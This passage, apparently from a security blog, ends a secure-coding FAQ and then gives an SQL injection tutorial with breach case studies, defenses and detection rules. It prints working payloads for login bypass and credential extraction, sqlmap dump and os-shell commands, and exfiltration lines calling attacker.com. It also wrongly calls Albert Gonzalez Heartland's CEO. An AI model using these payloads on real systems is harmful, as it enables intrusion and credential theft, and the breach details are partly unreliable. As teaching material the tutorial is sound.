The third is that hashing and encryption are interchangeable ways to protect passwords. They are not. Encryption is reversible by design, which means a stolen key exposes every password. Password storage needs a slow one-way hash such as Argon2id or bcrypt, from which the original cannot be recovered even by the system that stored it. Encrypting passwords is a serious mistake that looks like a security measure.
The fourth is that internal services do not need the same rigor as public ones. The flat, trusted internal network is exactly what an attacker exploits after gaining a foothold. An internal API without authorization checks is an escalation path waiting to be used. Apply the same input handling, authorization, and secret management to internal services as to public ones.
The fifth is that security work can be deferred to a hardening phase before release. Retrofitting security onto a design that did not account for it is expensive and incomplete. The cheap moment to prevent a class of flaw is while the code that would contain it is being written, which is why these are framed as habits rather than a checklist run once at the end.
## Frequently asked questions
**Is client-side validation ever useful for security?**
Client-side validation improves the user experience by giving instant feedback, and it has no security value on its own because an attacker bypasses it trivially with a direct request. Every rule enforced in the browser must also be enforced on the server, where the attacker cannot reach. Treat client-side checks as a convenience and server-side checks as the control.
**How often should dependencies be updated?**
Run an automated audit on every build and act on high-severity findings promptly rather than on a fixed calendar. Use lockfiles so builds are reproducible, and prefer a tool that opens update pull requests automatically so patches do not pile up. The xz-utils incident showed that a compromised dependency can be introduced deliberately, so pinning versions and reviewing changes matters as much as staying current.
**Do I need Argon2id, or is bcrypt good enough?**
Bcrypt with a work factor of at least 12 remains a sound choice and is widely supported. Argon2id is the current recommendation because its memory cost makes large-scale GPU and custom-hardware attacks more expensive, and it won the Password Hashing Competition for that reason. Either is acceptable when configured properly. What is not acceptable is a fast general-purpose hash such as MD5, SHA-1, or plain SHA-256 for passwords.
**Where should secrets live if not in code?**
In environment variables for simple deployments, and in a dedicated secrets manager such as AWS Secrets Manager or HashiCorp Vault for anything at scale. A secrets manager adds access control, auditing, and rotation that environment variables lack. Whatever the mechanism, a secret that ever reached source control must be rotated, because git history preserves it even after the line is deleted.
**What is the difference between authentication and authorization?**
Authentication establishes who the caller is, and authorization decides what that caller is allowed to do. mTLS or a login proves identity, and a role check or an ownership check enforces permission. Broken access control, the most common serious web flaw, is an authorization failure: the caller is correctly identified and is then allowed to do something they should not.
**Can static analysis replace manual code review?**
No. Static analysis reliably catches pattern-matchable flaws such as string-built SQL, hardcoded credentials, and unsafe deserialization, and it runs on every change without fatigue. It cannot reason about intent, so it misses missing authorization checks and business-logic flaws that look like valid code. Use static analysis to handle the mechanical findings so human reviewers can spend their attention on the judgment calls tooling cannot make.
**What is the single highest-impact habit to adopt first?**
Bind every data-access query to the authenticated user and check authorization on every request server-side. Broken access control is the most prevalent serious flaw, it is the hardest for tools to catch, and the fix is a discipline rather than a library. If you adopt one habit, make it the reflex of asking, on every endpoint, whether this specific user is allowed to touch this specific resource.
**How should errors be handled so they help debugging without leaking internals?**
Log the full detail server-side, including the stack trace, the query, and a correlation identifier, and return only a generic message and that same identifier to the client. Support can then find the exact server-side log for a reported error without the response ever exposing database schema, file paths, or version numbers to an attacker. A verbose error page is a reconnaissance gift, and a silent one frustrates your own team, so the correlation identifier is what satisfies both needs at once.
**Does using HTTPS mean my application is secure?**
HTTPS protects data in transit and is mandatory, and it does nothing about the flaws inside the application. An application served over HTTPS can still have injection, broken access control, weak password storage, and every other class listed here. Transport encryption is one layer among many, and it should be paired with HSTS to prevent downgrade and with secure cookie flags so the session it protects cannot be stolen through other paths.
## Related guides
- [OWASP Top 10 Explained with Examples](/owasp-top-10-explained)
- [SQL Injection Explained: How It Works and How to Stop It](/sql-injection-explained)
- [Cross-Site Scripting (XSS): Attack Types and Prevention](/xss-attacks-explained)
- [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks)
- [How Passwords Get Cracked](/password-cracking-techniques)
- [Log4Shell Explained](/log4shell-explained)
- [Leaked API Keys Explained](/leaked-api-keys-explained)
### Sources
- OWASP Top Ten (OWASP): https://owasp.org/www-project-top-ten/
- OWASP Cheat Sheet Series (OWASP): https://cheatsheetseries.owasp.org/
- NIST SP 800-63B: Digital Identity Guidelines, Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html
---
## SQL Injection Explained: How It Works and How to Stop It
> SQL injection has topped the web vulnerability list for decades. How attackers exploit it, real payload examples, and the defenses that actually work.
- URL: https://blog.pwnsy.com/sql-injection-explained
- Date: 2026-03-11
- Updated: 2026-04-08
- Difficulty: intermediate
- Category: web-security
- Tags: sql-injection, web-security, owasp, penetration-testing, secure-coding
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- SQL injection is a failure to separate code from data, parameterized queries fix it completely, cost nothing in performance, and are supported by every major language and database driver.
- All seven SQLi variants (classic, union-based, boolean blind, time-based blind, error-based, second-order, out-of-band) share one root cause and one primary fix: parameterized queries.
- Second-order SQLi is the most underestimated variant, safe parameterized INSERTs give false confidence when the same data is later used in a string-concatenated query elsewhere in the codebase.
- WAFs reduce attack surface but are not a substitute for fixing vulnerable code; encoding tricks and database-specific syntax routinely bypass WAF rules.
### Key Takeaways
- String concatenation of user input into SQL queries is the root cause of all SQL injection; parameterized queries (not input sanitization or WAFs) are the only complete fix.
- Real-world breaches (Heartland 2008: 130M cards, $200M cost; Sony PSN 2011: 77M accounts) demonstrate that SQLi vulnerabilities translate directly to catastrophic data loss and financial damage.
- ORMs are safe by default but expose raw query interfaces (e.g., Prisma's queryRawUnsafe, SQLAlchemy's text() with format strings) that re-introduce injection risk when used with string concatenation.
- Dynamic ORDER BY and column names cannot use parameterization and must be protected with strict server-side allowlists, user input must never reach the query structure directly.
- Least-privilege database accounts limit the impact of successful SQLi: an app account with only SELECT/INSERT/UPDATE on specific tables cannot execute shell commands or drop databases even if injected.
SQL injection has appeared on every OWASP Top 10 list since the list's inception in 2003. It's been responsible for some of the largest data breaches ever recorded. And it's still being found in production applications every single day, including at companies that have employed security teams for years.
The reason for its persistence is simple: developers learn to build applications without learning to build them securely. String concatenation is the intuitive way to build a SQL query. Parameterization requires knowing why string concatenation is broken. That knowledge gap is where breaches happen.
This post covers every major variant of SQL injection, walks through real exploitation steps with actual payloads, analyzes three historical breaches with technical detail, and provides working code for every defense.
Looking for the right injection scanner or web app testing tool? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com).
## What SQL Injection Actually Is
At the most fundamental level, SQL injection is a failure to maintain the boundary between code and data. When you write application code, you have SQL code (the query structure) and SQL data (the values being queried). The database needs to know which is which.
Parameterized queries maintain this boundary explicitly: you send the query structure first, the database compiles it, then you supply data values that get bound to placeholders. The database never interprets the data as code.
String concatenation destroys the boundary: you construct one string that contains both the query structure and user-supplied data, then send the combined string to the database. The database parses the entire thing as SQL, and if the user-supplied data contains SQL syntax, it gets interpreted as part of the query structure.
```sql
-- What the developer intended:
SELECT * FROM products WHERE category = 'Electronics' AND price < 1000
-- The actual query when user supplies: Electronics' OR '1'='1
SELECT * FROM products WHERE category = 'Electronics' OR '1'='1' AND price < 1000
-- Due to operator precedence (AND binds tighter than OR), this is:
SELECT * FROM products WHERE category = 'Electronics' OR ('1'='1' AND price < 1000)
-- Which returns all Electronics AND any product under $1000 — not what was intended
```
The malicious input changed the meaning of the query. That's SQL injection.
## Historical Breaches: The Real Cost
### Heartland Payment Systems (2008): 130 Million Cards
The Heartland breach began in late 2007 when attackers probed Heartland's web-facing applications and found SQL injection vulnerabilities. Once inside the database tier, they escalated access and installed packet-sniffing malware that intercepted unencrypted credit card data flowing through Heartland's payment processing network.
**Scale:** 130 million credit and debit card numbers stolen over approximately six months before discovery in January 2009.
**Cost:** Heartland paid $145 million in compensation to Visa and Mastercard. Total costs including fines, legal fees, and remediation exceeded $200 million. Heartland's CEO Albert Gonzalez was later arrested; his accomplices included carders from Eastern Europe who sold the stolen cards in bulk.
**Technical detail:** The SQLi was reportedly in a standard web application, not Heartland's core payment processing code. The lateral movement from web tier to payment processor network happened through insufficient network segmentation: a web server that could reach the payment processing LAN.
### Sony Pictures (2011): 77 Million PlayStation Network Accounts
In April 2011, the PlayStation Network was taken offline for 23 days after attackers compromised 77 million accounts. The breach included names, addresses, email addresses, birthdates, and for approximately 12,000 accounts, unencrypted credit card data.
**Technical cause:** Publicly, Sony attributed the breach to a sophisticated attacker. Security researchers examining the exposed data noted the passwords appeared to be stored in a reversible or weakly-hashed format, and the initial access vector was consistent with SQL injection. A separate Sony Pictures breach in May 2011 explicitly involved SQLi, attackers published a post claiming the Sony Pictures database was compromised using "the most basic of SQL injections."
**Cost:** Sony estimated the breach cost $171 million. The PlayStation Network was offline for 23 days, costing Sony an estimated $24 million in lost revenue. Sony also provided a year of free PlayStation Plus and identity theft protection to affected users.
**Lesson:** The PSN breach preceded the Sony Pictures Entertainment breach by LulzSec in May 2011, which also used SQL injection. Two separate major SQLi breaches at the same company within weeks of each other.
### Marriott/Starwood (2018): 500 Million Records
The Marriott/Starwood breach was disclosed in November 2018 but dated to 2014, four years of undetected access. Attackers compromised the Starwood guest reservation database before Marriott's 2016 acquisition, and the compromise continued through the acquisition entirely undetected.
**Technical detail:** The initial access vector was not definitively confirmed publicly, but the UK Information Commissioner's Office (ICO) investigation found evidence of SQL injection techniques in the attacker's toolkit. The attribution to China's Ministry of State Security came from US intelligence agencies in 2018.
**Scale:** 500 million guest records, including 327 million with full details: names, addresses, phone numbers, email addresses, passport numbers, and payment card data.
**Cost:** ICO fined Marriott £18.4 million (reduced from an initial £99 million). Marriott also faced class-action suits and regulatory investigations across multiple jurisdictions.
## Authentication Bypass: The Basics
Authentication bypass through SQL injection is the simplest variant, but it remains relevant because many internal tools, legacy systems, and admin panels contain exactly this pattern.
### Classic Login Form Bypass
```python
# VULNERABLE backend code
import sqlite3
def authenticate_user(username: str, password: str) -> bool:
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# NEVER DO THIS
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
print(f"Executing: {query}") # For educational purposes
cursor.execute(query)
user = cursor.fetchone()
return user is not None
```
**Attack payloads:**
```
username: admin'--
password: anything
Resulting query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
The -- comments out the password check. Logs in as admin.
```
```
username: ' OR '1'='1'--
password: anything
Resulting query:
SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'anything'
The OR '1'='1' evaluates to TRUE for every row. Returns the first user (usually admin).
```
```
username: admin'/*
password: */ AND '1'='1
Resulting query:
SELECT * FROM users WHERE username = 'admin'/* AND password = '*/ AND '1'='1'
The /* ... */ block comment eliminates the password check.
```
### Testing for SQLi Manually
The first step in any SQLi test is confirming the injection point exists:
```bash
# Single quote — causes a syntax error if the value is inserted into SQL
'
# Double quote — for identifiers
"
# Boolean true/false test — both should return the same result if no injection
' OR '1'='1
' OR '1'='2
# Comment-based test
'--
'#
'/*
# Time-based test — if this causes a 5-second delay, SQLi is confirmed
' AND SLEEP(5)-- # MySQL
'; SELECT pg_sleep(5)-- # PostgreSQL
'; WAITFOR DELAY '0:0:5'-- # MSSQL
```
## Union-Based Extraction
Union-based SQLi is used when the application reflects database output back in the HTTP response. The `UNION SELECT` appends a second query to the original, and both result sets are returned together.
### Step 1: Determine Column Count
```sql
-- ORDER BY technique — increment until you get an error
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- if this causes an error, the original query returns 2 columns
' ORDER BY 4-- -- error confirms 3 columns
-- NULL probing technique — more reliable, works across databases
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- -- when the error disappears, you have the count
```
### Step 2: Find String-Compatible Columns
Not all columns accept string output. Replace NULLs one at a time with a string literal:
```sql
' UNION SELECT 'pwnsy',NULL,NULL--
' UNION SELECT NULL,'pwnsy',NULL--
' UNION SELECT NULL,NULL,'pwnsy'--
```
When `pwnsy` appears in the response, you know which column position outputs string data.
### Step 3: Extract Database Version and Enumerate Tables
```sql
-- MySQL / MariaDB
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
-- PostgreSQL
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,current_database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
-- Microsoft SQL Server
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,DB_NAME(),NULL--
' UNION SELECT NULL,name,NULL FROM sys.tables--
-- Oracle
' UNION SELECT NULL,banner,NULL FROM v$version--
' UNION SELECT NULL,table_name,NULL FROM all_tables--
```
### Step 4: Extract Target Table Data
```sql
-- Find columns in the users table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns
WHERE table_name='users'--
-- Extract credentials
' UNION SELECT NULL,username||':'||password_hash,NULL FROM users--
-- MySQL: CONCAT(username,':',password_hash)
-- MSSQL: username+':'+password_hash
```
### Concatenating Multiple Values When Columns Are Limited
```sql
-- When you only have one visible string column but want multiple values
' UNION SELECT NULL,username||'~'||password||'~'||email,NULL FROM users--
-- Output: admin~$2b$12$abc123~admin@company.com
-- One response line contains all three fields, split by the ~ delimiter
```
## Blind SQL Injection: Boolean-Based
When the application doesn't reflect database output but does respond differently for true vs. false conditions (different page content, different redirect, different status code).
### Confirming Boolean Blindness
```sql
-- If the page loads normally for the first payload but differently for the second,
-- boolean-based blind SQLi is confirmed
' AND 1=1-- -- TRUE condition
' AND 1=2-- -- FALSE condition
```
### Extracting Data Bit by Bit
The fundamental technique: use binary search to determine each character's ASCII value.
```sql
-- Is the first character of the admin password greater than ASCII 77 (M)?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 77--
-- TRUE response: first char > M (search upper half: N-Z, 0-9, etc.)
-- FALSE response: first char ≤ M (search lower half: A-M)
-- After binary search narrows down to exact value:
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) = 104-- -- 'h'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)) = 117-- -- 'u'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1)) = 110-- -- 'n'
-- ... continues for each character position
```
### Automated Extraction with sqlmap
This process is too slow to do manually for real data. `sqlmap` automates it:
```bash
# Basic detection
sqlmap -u "https://target.com/products?id=1"
# With a captured HTTP request (most reliable for complex authenticated requests)
sqlmap -r request.txt --level=3 --risk=2
# Once confirmed vulnerable: enumerate databases
sqlmap -r request.txt --dbs
# Enumerate tables in a specific database
sqlmap -r request.txt -D production_db --tables
# Dump a specific table
sqlmap -r request.txt -D production_db -T users --dump
# Dump specific columns
sqlmap -r request.txt -D production_db -T users -C username,password --dump
# Attempt OS shell if DB user has FILE privilege (MySQL)
sqlmap -r request.txt --os-shell
# Tamper scripts to bypass WAF
sqlmap -r request.txt --tamper=space2comment,between,randomcase
```
```bash
# request.txt format (captured from Burp Suite)
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{"query":"test","category":"1"}
```
Only run sqlmap against systems you own or have explicit written authorization to test. sqlmap generates hundreds to thousands of requests to a target. Even on authorized engagements, confirm with the client whether automated scanning is permitted before running it: some programs explicitly exclude automated tools.
## Blind SQL Injection: Time-Based
When neither the response content nor the status code changes between true and false conditions, time delays become the channel for data exfiltration.
```sql
-- MySQL/MariaDB: conditional SLEEP
' AND IF(1=1, SLEEP(5), 0)-- -- 5 second delay confirms TRUE
' AND IF(1=2, SLEEP(5), 0)-- -- no delay confirms FALSE
-- Extracting data with time delay
' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77, SLEEP(3), 0)--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
-- Conditional data extraction (MSSQL)
'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1)) > 77)
WAITFOR DELAY '0:0:5'--
```
**Practical timing threshold:** Use a 3-5 second delay and measure multiple times to account for network jitter. A consistent 3-second differential between true and false is reliable signal. A 0.2-second differential in a high-latency connection is not.
## Error-Based SQL Injection
Verbose database errors embedded in the HTTP response provide a direct output channel for data exfiltration.
```sql
-- MySQL: ExtractValue generates an XML parsing error containing the extracted data
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
-- Error: XPATH syntax error: '~8.0.26'
-- The ~ (0x7e) forces the error; the value after it is the extracted data
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~$2b$12$N4p1hPSNJLB8...'
-- MSSQL: Conversion error surfaces string data
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users))--
-- Error: Conversion failed when converting the nvarchar value '$2b$12$...' to data type int.
-- PostgreSQL: Cast error
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
-- Error: invalid input syntax for type integer: "$2b$12$..."
-- Oracle: UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM users WHERE ROWNUM=1))--
```
## Second-Order SQL Injection
The most underestimated variant. The payload is stored safely (parameterized INSERT), then used unsafely in a subsequent operation.
### Scenario: Username in Password Update
```python
# Step 1: Registration — parameterized INSERT, safe
def register_user(username: str, password: str):
# This is correctly parameterized
cursor.execute(
"INSERT INTO users (username, password_hash) VALUES (%s, %s)",
(username, bcrypt.hashpw(password.encode(), bcrypt.gensalt()))
)
# username "admin'--" is stored safely in the database
# Step 2: Password update — VULNERABLE
def change_password(username: str, new_password: str):
# The username is retrieved from the database (trusted source assumption)
# but then concatenated into a new query — WRONG
query = f"UPDATE users SET password_hash = '{bcrypt.hashpw(new_password.encode(), bcrypt.gensalt()).decode()}' WHERE username = '{username}'"
cursor.execute(query)
# Attack:
# 1. Register with username: admin'--
# 2. When change_password("admin'--", "newpassword") runs:
# UPDATE users SET password_hash = '$2b$12$...' WHERE username = 'admin'--'
# The -- comments out the rest — update applies to ALL users named 'admin'
# (or whichever user the attacker targets)
```
### Detection Method
Second-order SQLi requires:
1. Mapping where user-controlled data is stored (registration, profile update, etc.)
2. Tracing where that stored data is later used in application code
3. Checking whether the later usage involves string concatenation into a query
Static analysis tools like Semgrep with custom rules can detect this pattern:
```yaml
# Semgrep rule for second-order SQLi patterns
rules:
- id: second-order-sqli
patterns:
- pattern: |
$DATA = $DB.query(...)
...
$QUERY = "... " + $DATA + "..."
$DB.execute($QUERY)
message: "Potential second-order SQL injection: data from DB used in string-concatenated query"
severity: ERROR
languages: [python]
```
## Out-of-Band SQL Injection
When the application returns no output and has consistent response behavior regardless of condition (making boolean-based and time-based unreliable), out-of-band channels extract data via DNS or HTTP requests initiated by the database server.
```sql
-- MySQL: load_file or outfile can trigger DNS lookups
-- Requires FILE privilege
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'))--
-- MSSQL: xp_dirtree for DNS exfiltration (requires sysadmin or xp_cmdshell)
'; DECLARE @p VARCHAR(1024);
SET @p=(SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "\\'+@p+'.attacker.com\test"')--
-- Oracle: UTL_HTTP for HTTP-based exfiltration
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual--
```
Monitor for these with a Burp Collaborator or self-hosted OAST server (interactsh):
```bash
# Self-host an OAST server
interactsh-server -domain yourdomain.com
# Use the generated subdomain in payloads
# Any DNS query to *.yourdomain.com will be logged
```
## Defenses That Actually Work
### 1. Parameterized Queries: The Only Real Fix
Parameterized queries eliminate SQL injection at the root. Period. Every language, every framework, every database supports them.
```python
# Python — psycopg2 (PostgreSQL)
import psycopg2
def get_user(conn, username: str, password_hash: str):
with conn.cursor() as cur:
cur.execute(
"SELECT id, username, email, role FROM users WHERE username = %s AND password_hash = %s",
(username, password_hash)
)
return cur.fetchone()
# Python — SQLite3
import sqlite3
def get_user(conn, username: str, password_hash: str):
cur = conn.execute(
"SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?",
(username, password_hash)
)
return cur.fetchone()
# Python — SQLAlchemy (raw query with bound parameters)
from sqlalchemy import text
def get_user(session, username: str, password_hash: str):
result = session.execute(
text("SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"),
{"username": username, "hash": password_hash}
)
return result.fetchone()
```
```javascript
// Node.js — pg (PostgreSQL)
const { Pool } = require('pg');
const pool = new Pool();
async function getUser(username, passwordHash) {
const result = await pool.query(
'SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2',
[username, passwordHash]
);
return result.rows[0];
}
// Node.js — mysql2
const mysql = require('mysql2/promise');
async function getUser(connection, username, passwordHash) {
const [rows] = await connection.execute(
'SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?',
[username, passwordHash]
);
return rows[0];
}
```
```php
// PHP — PDO (the right way)
function getUser(PDO $pdo, string $username, string $passwordHash): ?array {
$stmt = $pdo->prepare(
"SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"
);
$stmt->execute([':username' => $username, ':hash' => $passwordHash]);
return $stmt->fetch(PDO::FETCH_ASSOC) ?: null;
}
```
```go
// Go — database/sql
import "database/sql"
func getUser(db *sql.DB, username, passwordHash string) (*User, error) {
row := db.QueryRow(
"SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2",
username, passwordHash,
)
var u User
if err := row.Scan(&u.ID, &u.Username, &u.Email, &u.Role); err != nil {
if err == sql.ErrNoRows {
return nil, nil
}
return nil, err
}
return &u, nil
}
```
### 2. ORM Usage: Safe by Default, Dangerous in Raw Mode
```typescript
// Prisma — safe by default
const user = await prisma.user.findFirst({
where: { username, passwordHash },
select: { id: true, email: true, role: true },
});
// VULNERABLE: Prisma raw query without parameterization
// $queryRaw bypasses Prisma's protections entirely
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = '${username}'`;
// Prisma's template literal $queryRaw uses tagged templates — this IS parameterized
// But the old string-based version is not:
const user = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE username = '${username}'`);
// SAFE: $queryRaw with template literals (Prisma automatically parameterizes these)
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = ${username}`;
```
```python
# SQLAlchemy ORM — safe
user = db.session.query(User).filter_by(username=username, password_hash=password_hash).first()
# VULNERABLE: raw string formatting in SQLAlchemy
db.session.execute(f"SELECT * FROM users WHERE username = '{username}'")
# SAFE: raw query with bound parameters
from sqlalchemy import text
db.session.execute(
text("SELECT * FROM users WHERE username = :username"),
{"username": username}
)
```
### 3. Dynamic ORDER BY and Column Names
Parameterized queries can't be used for column names or ORDER BY direction: these must use a strict allowlist:
```python
ALLOWED_SORT_COLUMNS = {'created_at', 'username', 'email', 'last_login'}
ALLOWED_SORT_DIRECTIONS = {'ASC', 'DESC'}
def get_users_sorted(sort_by: str, direction: str):
if sort_by not in ALLOWED_SORT_COLUMNS:
raise ValueError(f"Invalid sort column: {sort_by}")
if direction not in ALLOWED_SORT_DIRECTIONS:
raise ValueError(f"Invalid sort direction: {direction}")
# Now safe to interpolate — values are allowlisted, not user-controlled
query = f"SELECT id, username, email FROM users ORDER BY {sort_by} {direction}"
return db.execute(query).fetchall()
```
```typescript
// TypeScript with Prisma — allowlisted dynamic ordering
type SortField = 'createdAt' | 'username' | 'email';
type SortOrder = 'asc' | 'desc';
const ALLOWED_FIELDS: SortField[] = ['createdAt', 'username', 'email'];
const ALLOWED_ORDERS: SortOrder[] = ['asc', 'desc'];
async function getUsers(sortBy: string, order: string) {
if (!ALLOWED_FIELDS.includes(sortBy as SortField)) {
throw new Error('Invalid sort field');
}
if (!ALLOWED_ORDERS.includes(order as SortOrder)) {
throw new Error('Invalid sort order');
}
return prisma.user.findMany({
orderBy: { [sortBy as SortField]: order as SortOrder },
});
}
```
### 4. Stored Procedures: Only Safe When Used Correctly
```sql
-- VULNERABLE stored procedure (dynamic SQL inside)
CREATE PROCEDURE SearchProducts
@category NVARCHAR(50)
AS
BEGIN
EXEC('SELECT * FROM products WHERE category = ''' + @category + '''')
END
-- This is injectable because the dynamic SQL is constructed via string concatenation
-- SAFE stored procedure (uses the parameter directly)
CREATE PROCEDURE SearchProducts
@category NVARCHAR(50)
AS
BEGIN
SELECT name, price, description
FROM products
WHERE category = @category
END
-- The parameter @category is bound, not interpreted as SQL code
```
### 5. Least Privilege Database Accounts
```sql
-- Create a restricted application user (PostgreSQL)
CREATE USER app_user WITH PASSWORD 'strong_random_password';
-- Grant only what the application needs
GRANT SELECT, INSERT, UPDATE ON TABLE users, products, orders TO app_user;
GRANT SELECT ON TABLE categories TO app_user;
-- Do NOT grant:
-- GRANT ALL ON DATABASE appdb TO app_user; -- too broad
-- GRANT SUPERUSER TO app_user; -- never
-- GRANT CREATE TO app_user; -- unless migrations run as this user (use separate migration user)
-- Read-only replica user for reporting
CREATE USER reporting_user WITH PASSWORD 'different_strong_password';
GRANT SELECT ON ALL TABLES IN SCHEMA public TO reporting_user;
```
If an SQL injection occurs against the `app_user`, the attacker has SELECT/INSERT/UPDATE on specific tables: not DROP TABLE, not EXECUTE shell commands, not access to other databases on the same server.
### 6. WAF Configuration for SQLi
```bash
# ModSecurity CRS rules for SQLi
# /etc/modsecurity/modsecurity.conf
SecRuleEngine On
SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS \
"@detectSQLi" \
"id:942100,phase:2,deny,status:403,log,msg:'SQL Injection Attack Detected'"
# Test your WAF bypass resistance
sqlmap -u "https://target.com/search?q=1" --tamper=space2comment,between,randomcase,charencode
```
WAFs are not a substitute for parameterized queries. Sophisticated attackers use encoding tricks, HTTP parameter pollution, chunked transfer encoding, and database-specific syntax to bypass WAF rules. A WAF that blocks 99% of SQLi payloads still lets through the 1% that matters if your application code remains vulnerable. Fix the code.
## Detection During Code Review
When reviewing code for SQL injection, look for these patterns across every language:
```python
# Red flags in Python
f"SELECT ... WHERE x = '{user_input}'" # f-string interpolation
"SELECT ... WHERE x = '" + user_input + "'" # string concatenation
"SELECT ... WHERE x = %s" % (user_input,) # %-formatting (NOT safe, different from psycopg2 %s)
cursor.execute("SELECT ... WHERE x = " + val) # execute with concatenation
```
```javascript
// Red flags in JavaScript/TypeScript
`SELECT * FROM users WHERE username = '${username}'` // template literal
"SELECT * FROM users WHERE username = '" + username + "'" // concatenation
db.execute("SELECT * FROM users WHERE username = " + username) // execute with string
prisma.$queryRawUnsafe(`SELECT ...${variable}...`) // Prisma unsafe raw
knex.raw(`SELECT ... WHERE x = '${value}'`) // Knex raw without bindings
```
```php
// Red flags in PHP
$query = "SELECT * FROM users WHERE id = " . $_GET['id']; // concatenation
$query = "SELECT * FROM users WHERE username = '$username'"; // variable interpolation
$result = mysql_query($query); // mysql_query (deprecated but still seen in legacy code)
```
### Automated Detection with Semgrep
```bash
# Run OWASP's Semgrep ruleset for injection
semgrep --config "p/owasp-top-ten" src/
# Run specific SQLi rules
semgrep --config "p/sql-injection" src/
# Custom rule for Python f-string SQLi
cat > sqli-rule.yaml << 'EOF'
rules:
- id: python-fstring-sqli
pattern: |
cursor.execute(f"... {$VAR} ...")
message: "Potential SQL injection: f-string used in execute()"
severity: ERROR
languages: [python]
EOF
semgrep --config sqli-rule.yaml src/
```
## Testing Methodology During a Pentest
```bash
# 1. Passive discovery — find injection points in a crawl
burpsuite &
# Configure browser proxy to Burp
# Navigate the target application
# Check Target > Site Map for all parameters
# 2. Active testing — inject into every parameter
# In Burp: right-click request > Send to Intruder
# Set payload position on the parameter value
# Payload list: single quote, double quote, boolean tests
# Check responses for error messages or behavioral differences
# 3. Automated confirmation
sqlmap -r captured_request.txt --batch --level=3
# 4. Exploitation — only if explicitly authorized for full pentest
sqlmap -r captured_request.txt --dbs --batch
sqlmap -r captured_request.txt -D appdb --tables --batch
sqlmap -r captured_request.txt -D appdb -T users --dump --batch
# 5. Document findings
# Screenshot of: vulnerable request, error message or behavioral difference,
# successful data extraction (sanitize real credentials in report)
```
## Attack vs. Defense Summary
| Variant | Key Characteristic | sqlmap Flag | Primary Defense |
|---|---|---|---|
| Classic / Auth Bypass | Payload in query string alters logic | Default scan | Parameterized queries |
| Union-Based | UNION SELECT appended, data reflected | `--technique=U` | Parameterized queries |
| Boolean Blind | Response differs for true/false | `--technique=B` | Parameterized queries |
| Time-Based Blind | Delay as true/false signal | `--technique=T` | Parameterized queries |
| Error-Based | Data exfiltrated via error messages | `--technique=E` | Parameterized queries + disable verbose errors |
| Second-Order | Payload stored, executed later | Requires manual testing | Parameterize ALL queries, including those using DB-sourced data |
| Out-of-Band | Data via DNS/HTTP callback | `--technique=O` | Parameterized queries + network egress filtering |
Every row in that table has the same primary defense: parameterized queries. The variance between techniques is about detection and exploitation method, not about the underlying fix. If you parameterize every query in your codebase, the entire table becomes irrelevant.
The fact that SQL injection has persisted for two decades is a failure of developer education, not a failure of available solutions. The fix is known, well-documented, supported by every major database driver, and costs nothing in performance. There is no reasonable excuse for writing vulnerable code in 2026.
## A worked walkthrough: from a single quote to a full table
It helps to see the reasoning an attacker follows, because the same reasoning tells a defender where the boundary broke. Suppose a product page loads results from a URL parameter, and the developer built the query by concatenating that parameter into a string. The attacker starts with the cheapest possible probe: a single quote. If the page returns a database error, or behaves differently from a normal request, the value is reaching the query as syntax rather than as data. That one character has confirmed the boundary between code and data is gone.
